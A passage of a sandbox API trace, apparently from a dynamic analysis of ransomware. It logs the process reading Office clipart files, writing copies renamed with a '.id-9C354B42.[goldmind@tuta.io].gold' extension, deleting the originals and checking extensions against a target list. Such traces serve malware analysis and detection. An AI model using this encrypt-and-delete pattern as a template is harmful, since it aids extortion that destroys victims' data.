0x3ac [0108.117] GetLastError () returned 0x0 [0108.117] ReadFile (in: hFile=0x230, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0xbe0, lpOverlapped=0x0) returned 1 [0108.167] WriteFile (in: hFile=0x3ac, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xbf0, lpOverlapped=0x0) returned 1 [0108.167] ReadFile (in: hFile=0x230, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0108.167] WriteFile (in: hFile=0x3ac, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.167] SetEndOfFile (hFile=0x3ac) returned 1 [0108.168] CloseHandle (hObject=0x3ac) returned 1 [0108.168] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0108.168] SetEndOfFile (hFile=0x230) returned 1 [0108.169] CloseHandle (hObject=0x230) returned 1 [0108.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.169] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf")) returned 1 [0108.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0108.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0108.170] lstrlenW (lpString=".doc") returned 4 [0108.170] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.170] lstrlenW (lpString=".docx") returned 5 [0108.170] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0108.170] lstrlenW (lpString=".pdf") returned 4 [0108.170] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.170] lstrlenW (lpString=".xls") returned 4 [0108.170] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.170] lstrlenW (lpString=".xlsx") returned 5 [0108.170] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0108.170] lstrlenW (lpString=".ppt") returned 4 [0108.170] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0108.170] lstrlenW (lpString=".zip") returned 4 [0108.170] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.170] lstrlenW (lpString=".rar") returned 4 [0108.170] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.170] lstrlenW (lpString=".bz2") returned 4 [0108.170] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.170] lstrlenW (lpString=".7z") returned 3 [0108.170] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0108.170] lstrlenW (lpString=".dbf") returned 4 [0108.170] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0108.171] lstrlenW (lpString=".1cd") returned 4 [0108.171] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0108.171] lstrlenW (lpString=".jpg") returned 4 [0108.171] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0108.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0108.171] lstrlenW (lpString=".doc") returned 4 [0108.171] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.171] lstrlenW (lpString=".docx") returned 5 [0108.171] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0108.171] lstrlenW (lpString=".pdf") returned 4 [0108.171] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.171] lstrlenW (lpString=".xls") returned 4 [0108.171] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.171] lstrlenW (lpString=".xlsx") returned 5 [0108.171] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0108.171] lstrlenW (lpString=".ppt") returned 4 [0108.171] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0108.171] lstrlenW (lpString=".zip") returned 4 [0108.171] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.171] lstrlenW (lpString=".rar") returned 4 [0108.171] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.171] lstrlenW (lpString=".bz2") returned 4 [0108.171] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.171] lstrlenW (lpString=".7z") returned 3 [0108.171] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0108.171] lstrlenW (lpString=".dbf") returned 4 [0108.171] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0108.171] lstrlenW (lpString=".1cd") returned 4 [0108.171] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0108.171] lstrlenW (lpString=".jpg") returned 4 [0108.171] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.171] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0108.171] lstrlenW (lpString="J0107494.WMF") returned 12 [0108.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0108.229] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=6424) returned 1 [0108.229] CloseHandle (hObject=0x19c) returned 1 [0108.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf")) returned 0x20 [0108.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0108.232] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0108.232] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0108.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0108.233] GetLastError () returned 0x0 [0108.233] ReadFile (in: hFile=0x380, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1918, lpOverlapped=0x0) returned 1 [0108.234] WriteFile (in: hFile=0x3a8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1920, lpOverlapped=0x0) returned 1 [0108.235] ReadFile (in: hFile=0x380, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0108.235] WriteFile (in: hFile=0x3a8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.235] SetEndOfFile (hFile=0x3a8) returned 1 [0108.235] CloseHandle (hObject=0x3a8) returned 1 [0108.235] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0108.235] SetEndOfFile (hFile=0x380) returned 1 [0108.237] CloseHandle (hObject=0x380) returned 1 [0108.237] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.238] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf")) returned 1 [0108.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0108.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0108.238] lstrlenW (lpString=".doc") returned 4 [0108.238] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.238] lstrlenW (lpString=".docx") returned 5 [0108.238] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0108.238] lstrlenW (lpString=".pdf") returned 4 [0108.238] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.238] lstrlenW (lpString=".xls") returned 4 [0108.238] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.239] lstrlenW (lpString=".xlsx") returned 5 [0108.239] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0108.239] lstrlenW (lpString=".ppt") returned 4 [0108.239] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0108.239] lstrlenW (lpString=".zip") returned 4 [0108.239] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.239] lstrlenW (lpString=".rar") returned 4 [0108.239] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.239] lstrlenW (lpString=".bz2") returned 4 [0108.239] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.239] lstrlenW (lpString=".7z") returned 3 [0108.239] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0108.239] lstrlenW (lpString=".dbf") returned 4 [0108.239] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0108.239] lstrlenW (lpString=".1cd") returned 4 [0108.239] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0108.239] lstrlenW (lpString=".jpg") returned 4 [0108.239] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0108.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0108.239] lstrlenW (lpString=".doc") returned 4 [0108.239] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.239] lstrlenW (lpString=".docx") returned 5 [0108.239] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0108.239] lstrlenW (lpString=".pdf") returned 4 [0108.239] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.239] lstrlenW (lpString=".xls") returned 4 [0108.239] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.239] lstrlenW (lpString=".xlsx") returned 5 [0108.239] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0108.239] lstrlenW (lpString=".ppt") returned 4 [0108.239] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0108.239] lstrlenW (lpString=".zip") returned 4 [0108.239] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.239] lstrlenW (lpString=".rar") returned 4 [0108.239] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.239] lstrlenW (lpString=".bz2") returned 4 [0108.239] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.239] lstrlenW (lpString=".7z") returned 3 [0108.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0108.240] lstrlenW (lpString=".dbf") returned 4 [0108.240] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0108.240] lstrlenW (lpString=".1cd") returned 4 [0108.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0108.240] lstrlenW (lpString=".jpg") returned 4 [0108.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.240] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0108.240] lstrlenW (lpString="J0107496.WMF") returned 12 [0108.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0108.240] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=8864) returned 1 [0108.240] CloseHandle (hObject=0x380) returned 1 [0108.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf")) returned 0x20 [0108.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0108.241] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0108.241] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0108.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0108.242] GetLastError () returned 0x0 [0108.242] ReadFile (in: hFile=0x380, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x22a0, lpOverlapped=0x0) returned 1 [0108.247] WriteFile (in: hFile=0x3a8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x22b0, lpOverlapped=0x0) returned 1 [0108.248] ReadFile (in: hFile=0x380, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0108.248] WriteFile (in: hFile=0x3a8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.248] SetEndOfFile (hFile=0x3a8) returned 1 [0108.248] CloseHandle (hObject=0x3a8) returned 1 [0108.248] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0108.248] SetEndOfFile (hFile=0x380) returned 1 [0108.250] CloseHandle (hObject=0x380) returned 1 [0108.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.250] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf")) returned 1 [0108.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0108.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0108.251] lstrlenW (lpString=".doc") returned 4 [0108.251] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.251] lstrlenW (lpString=".docx") returned 5 [0108.251] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0108.251] lstrlenW (lpString=".pdf") returned 4 [0108.251] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.251] lstrlenW (lpString=".xls") returned 4 [0108.251] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.251] lstrlenW (lpString=".xlsx") returned 5 [0108.251] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0108.251] lstrlenW (lpString=".ppt") returned 4 [0108.251] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0108.251] lstrlenW (lpString=".zip") returned 4 [0108.251] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.251] lstrlenW (lpString=".rar") returned 4 [0108.251] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.251] lstrlenW (lpString=".bz2") returned 4 [0108.251] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.252] lstrlenW (lpString=".7z") returned 3 [0108.252] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0108.252] lstrlenW (lpString=".dbf") returned 4 [0108.252] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0108.252] lstrlenW (lpString=".1cd") returned 4 [0108.252] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0108.252] lstrlenW (lpString=".jpg") returned 4 [0108.252] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0108.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0108.252] lstrlenW (lpString=".doc") returned 4 [0108.252] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.252] lstrlenW (lpString=".docx") returned 5 [0108.252] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0108.252] lstrlenW (lpString=".pdf") returned 4 [0108.252] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.252] lstrlenW (lpString=".xls") returned 4 [0108.252] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.252] lstrlenW (lpString=".xlsx") returned 5 [0108.252] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0108.252] lstrlenW (lpString=".ppt") returned 4 [0108.252] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0108.252] lstrlenW (lpString=".zip") returned 4 [0108.252] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.252] lstrlenW (lpString=".rar") returned 4 [0108.252] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.252] lstrlenW (lpString=".bz2") returned 4 [0108.252] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.252] lstrlenW (lpString=".7z") returned 3 [0108.252] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0108.252] lstrlenW (lpString=".dbf") returned 4 [0108.252] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0108.252] lstrlenW (lpString=".1cd") returned 4 [0108.252] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0108.252] lstrlenW (lpString=".jpg") returned 4 [0108.252] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.253] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0108.253] lstrlenW (lpString="J0107500.WMF") returned 12 [0108.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0108.253] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=4200) returned 1 [0108.253] CloseHandle (hObject=0x380) returned 1 [0108.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf")) returned 0x20 [0108.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0108.254] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0108.254] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0108.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0108.255] GetLastError () returned 0x0 [0108.255] ReadFile (in: hFile=0x380, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1068, lpOverlapped=0x0) returned 1 [0108.256] WriteFile (in: hFile=0x3a8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1070, lpOverlapped=0x0) returned 1 [0108.257] ReadFile (in: hFile=0x380, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0108.257] WriteFile (in: hFile=0x3a8, lpBuffer=0x3df0020*, 